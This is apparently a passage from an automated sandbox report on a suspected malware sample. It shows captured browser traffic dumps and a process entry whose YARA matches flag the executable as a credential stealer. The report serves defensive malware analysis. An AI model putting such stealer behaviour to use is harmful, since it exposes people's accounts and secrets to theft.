2024-12-16 09:37:50 UTC	391	IN	Data Raw: 71 56 6d 64 72 54 56 46 51 53 58 42 4e 63 31 64 75 53 54 4a 54 63 45 6c 78 65 55 56 74 64 30 6c 50 4f 55 6c 4a 4e 6e 42 4b 51 7a 64 49 57 57 4e 50 63 32 30 30 53 54 41 35 65 57 39 4f 4d 44 67 33 53 58 42 4d 52 57 46 52 54 57 56 75 5a 6b 39 68 63 7a 6c 51 52 33 67 77 54 33 41 79 4e 55 74 31 61 6d 68 5a 56 31 63 33 5a 46 46 4b 62 7a 4e 70 62 55 74 4e 51 31 4e 4f 61 44 63 78 53 31 64 68 56 46 4e 70 59 30 68 43 4d 55 6c 5a 51 6a 5a 6b 53 7a 42 4a 52 6e 56 4e 55 44 42 55 63 46 64 70 4b 31 4e 4e 57 48 6c 57 4e 32 64 4d 55 6c 64 7a 4e 6c 52 59 52 45 74 43 62 6d 52 58 4e 6c 5a 69 51 54 52 4f 65 54 56 59 4b 32 31 4a 61 6b 39 77 65 57 30 34 56 47 78 58 4d 54 52 71 59 33 64 53 64 33 68 73 53 54 56 48 56 6d 4e 71 54 33 64 50 4d 33 64 78 55 31 4e 56 64 47 56 52 51 55 Data Ascii: qVmdrTVFQSXBNc1duSTJTcElxeUVtd0lPOUlJNnBKQzdIWWNPc200STA5eW9OMDg3SXBMRWFRTWVuZk9hczlQR3gwT3AyNUt1amhZV1c3ZFFKbzNpbUtNQ1NOaDcxS1dhVFNpY0hCMUlZQjZkSzBJRnVNUDBUcFdpK1NNWHlWN2dMUldzNlRYREtCbmRXNlZiQTROeTVYK21Jak9weW04VGxXMTRqY3dSd3hsSTVHVmNqT3dPM3dxU1NVdGVRQU
2024-12-16 09:37:50 UTC	92	IN	Data Raw: 35 36 0d 0a 61 6b 39 47 57 48 4e 55 51 7a 5a 73 53 6c 4a 72 54 55 35 70 54 32 39 4f 55 45 5a 46 53 33 42 6e 51 6e 64 57 54 58 56 76 63 6c 55 7a 54 57 67 31 65 58 4a 72 4e 54 42 32 63 58 6c 51 59 57 38 7a 59 56 46 56 61 56 5a 72 55 6d 56 54 56 44 6b 33 55 57 4a 58 4e 30 0d 0a Data Ascii: 56ak9GWHNUQzZsSlJrTU5pT29OUEZFS3BnQndWTXVvclUzTWg1eXJrNTB2cXlQYW8zYVFVaVZrUmVTVDk3UWJXN0
2024-12-16 09:37:50 UTC	1390	IN	Data Raw: 65 36 34 0d 0a 74 50 55 6b 6c 34 4d 45 55 31 4d 6a 6c 45 55 57 63 78 63 32 64 70 62 57 38 77 4e 44 52 53 53 6c 67 31 63 55 35 4a 52 47 74 4c 5a 6a 51 32 56 6d 31 32 53 32 45 72 62 6b 35 4d 65 48 6c 54 4e 6d 64 32 63 6e 6c 51 64 6b 46 61 51 55 68 74 61 6b 64 57 54 6c 4a 4c 63 46 68 6b 62 48 6c 69 62 6a 64 51 65 6b 46 58 51 32 68 74 4d 43 74 4e 61 32 5a 72 55 56 49 72 56 6c 5a 6c 63 47 46 4a 5a 31 46 79 5a 55 4a 56 62 6b 52 4b 4f 48 42 4b 62 54 52 44 53 6e 42 48 55 32 4e 69 5a 48 46 74 52 58 67 77 4d 48 41 7a 55 32 68 76 62 30 70 56 61 32 74 72 62 6e 46 68 56 33 42 70 59 6b 35 73 59 54 46 78 62 31 68 44 5a 31 6f 32 4f 54 68 56 52 6b 70 73 5a 31 5a 6f 54 31 52 61 64 43 74 6b 59 57 31 4d 52 45 31 53 61 7a 52 34 4d 44 4e 49 64 79 39 58 64 6b 35 35 55 56 5a 69 Data Ascii: e64tPUkl4MEU1MjlEUWcxc2dpbW8wNDRSSlg1cU5JRGtLZjQ2Vm12S2Erbk5MeHlTNmd2cnlQdkFaQUhtakdWTlJLcFhkbHlibjdQekFXQ2htMCtNa2ZrUVIrVlZlcGFJZ1FyZUJVbkRKOHBKbTRDSnBHU2NiZHFtRXgwMHAzU2hvb0pVa2trbnFhV3BpYk5sYTFxb1hDZ1o2OThVRkpsZ1ZoT1RadCtkYW1MRE1SazR4MDNIdy9Xdk55UVZi
2024-12-16 09:37:50 UTC	1390	IN	Data Raw: 76 4c 30 46 42 51 6b 56 4a 51 55 56 42 51 56 46 42 54 55 4a 4a 5a 30 46 44 52 56 46 46 52 45 56 52 53 43 39 34 51 55 46 68 51 55 46 42 51 30 46 33 52 55 4a 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 6e 64 52 52 6b 4a 6e 54 55 4d 76 4f 46 46 42 54 55 4a 42 51 55 46 52 54 55 52 42 5a 31 46 47 51 58 64 4e 52 6b 46 42 51 55 46 42 51 55 46 42 51 56 46 4a 52 45 4a 42 51 55 5a 46 55 6b 6c 6f 51 6d 64 6a 56 45 31 54 53 6b 4a 5a 57 45 64 43 52 6b 52 4f 55 6b 5a 61 53 45 4a 4a 65 6c 4a 35 62 32 4a 49 4c 33 68 42 51 56 6c 42 55 55 46 45 51 56 46 46 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 55 56 46 45 51 6d 59 76 52 55 46 44 51 56 4a 42 51 55 6c 45 51 55 46 4a 51 6b 4a 52 51 55 46 42 51 55 46 42 51 55 46 42 51 55 Data Ascii: vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFhQUFBQ0F3RUJBQUFBQUFBQUFBQUFBQUFBQndRRkJnTUMvOFFBTUJBQUFRTURBZ1FGQXdNRkFBQUFBQUFBQVFJREJBQUZFUkloQmdjVE1TSkJZWEdCRkROUkZaSEJJelJ5b2JIL3hBQVlBUUFEQVFFQUFBQUFBQUFBQUFBQUFBQUFBUVFEQmYvRUFDQVJBQUlEQUFJQkJRQUFBQUFBQUFBQU
2024-12-16 09:37:50 UTC	911	IN	Data Raw: 44 4a 56 64 30 39 7a 4d 47 68 59 4d 30 55 30 54 31 5a 42 5a 6d 35 4a 51 6b 5a 4b 51 6e 42 52 59 31 4e 75 53 47 4a 68 62 30 39 51 59 7a 64 5a 5a 56 56 32 64 47 56 34 4d 30 74 57 51 6b 78 4a 62 30 46 6e 51 56 6c 4a 4d 6e 46 33 64 47 77 72 64 57 78 77 55 56 64 5a 59 32 39 77 57 55 6f 72 4d 48 4e 43 55 32 59 79 55 47 49 30 65 46 56 52 61 6e 6c 79 63 6b 52 70 54 47 31 35 52 56 4a 74 63 32 52 53 57 6b 6c 55 62 6a 4a 79 5a 6b 35 4f 57 6e 46 4c 57 46 70 4d 62 54 68 55 57 47 6c 58 4d 6c 64 55 53 6a 5a 55 57 6a 64 6f 62 45 6c 53 62 6a 55 33 4c 7a 64 78 63 56 4d 77 51 57 35 42 52 33 64 47 56 44 64 73 59 6b 68 69 57 45 78 57 52 6d 5a 56 51 33 52 4a 65 6d 74 42 4f 57 6f 33 4d 55 68 42 51 55 64 4c 54 58 64 56 52 6b 5a 79 57 57 35 6c 65 54 4e 58 4e 44 4a 50 55 31 70 4f Data Ascii: DJVd09zMGhYM0U0T1ZBZm5JQkZKQnBRY1NuSGJhb09QYzdZZVV2dGV4M0tWQkxJb0FnQVlJMnF3dGwrdWxwUVdZY29wWUorMHNCU2YyUGI0eFVRanlyckRpTG15RVJtc2RSWklUbjJyZk5OWnFLWFpMbThUWGlXMldUSjZUWjdobElSbjU3LzdxcVMwQW5BR3dGVDdsYkhiWExWRmZVQ3RJemtBOWo3MUhBQUdLTXdVRkZyWW5leTNXNDJPU1pO
2024-12-16 09:37:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49828	142.250.181.68	443	1796	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:37:49 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49822	142.250.181.68	443	1796	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:37:49 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIk6HLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 09:37:50 UTC	1018	IN	HTTP/1.1 200 OK Version: 704583840 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 16 Dec 2024 09:37:50 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-16 09:37:50 UTC	372	IN	Data Raw: 31 37 30 39 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1709)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-16 09:37:50 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-16 09:37:50 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-16 09:37:50 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-16 09:37:50 UTC	1363	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-16 09:37:50 UTC	284	IN	Data Raw: 31 31 35 0d 0a 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 36 2c 33 37 30 30 34 33 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 Data Ascii: 115],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700336,3700439,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u00
2024-12-16 09:37:50 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 43 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 43 64 28 61 2c 62 2c 64 29 3b 65 6c 73 65 7b 64 5c 75 30 30 33 64 28 30 2c 5f 2e 7a 29 28 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 74 61 73 65 74 2e 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 Data Ascii: 8000_){var window\u003dthis;\ntry{\n_.Cd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.Cd(a,b,d);else{d\u003d(0,_.z)(a.C,a,b);const e\u003da.v+c;a.v++;b.dataset.eqid\u003de;a.B[e]\u003dd;b\u0026\u0026b.addEventListener?b.addEventLi
2024-12-16 09:37:50 UTC	1390	IN	Data Raw: 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6e 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 50 64 5c 75 30 30 33 64 5b 4c 64 28 5c 22 64 61 74 61 5c 22 29 2c 4c 64 28 5c 22 68 74 74 70 5c 22 29 2c 4c 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 4c 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 4c 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 4b 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b Data Ascii: constructor(a){this.i\u003da}toString(){return this.i}};_.Od\u003dnew _.Nd(\"about:invalid#zClosurez\");_.Kd\u003dclass{constructor(a){this.nh\u003da}};_.Pd\u003d[Ld(\"data\"),Ld(\"http\"),Ld(\"https\"),Ld(\"mailto\"),Ld(\"ftp\"),new _.Kd(a\u003d\u003e/^[
2024-12-16 09:37:50 UTC	1390	IN	Data Raw: 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 Data Ascii: c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.ee\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003
2024-12-16 09:37:50 UTC	1390	IN	Data Raw: 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6f 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 65 5b 64 5d 2c 63 29 3a 5f 2e 6a 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 6a 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6f 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c Data Ascii: 3dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:oe.hasOwnProperty(d)?a.setAttribute(oe[d],c):_.je(d,\"aria-\")\|\|_.je(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};oe\u003d{cellpadding:\"cellPadding\",cellspacing:\"cel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49830	142.250.181.68	443	1796	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:37:50 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 09:37:50 UTC	933	IN	HTTP/1.1 200 OK Version: 704583840 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 16 Dec 2024 09:37:50 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-16 09:37:50 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-16 09:37:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	04:37:01
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\4TPPuMwzSA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4TPPuMwzSA.exe"
Imagebase:	0xd20000
File size:	1'834'496 bytes
MD5 hash:	D8C2DBE1DC35A7CDAC6842D48FECB333
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1488723704.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1489752084.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1420787017.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1493192986.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1492511030.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1491124712.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1488234510.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara 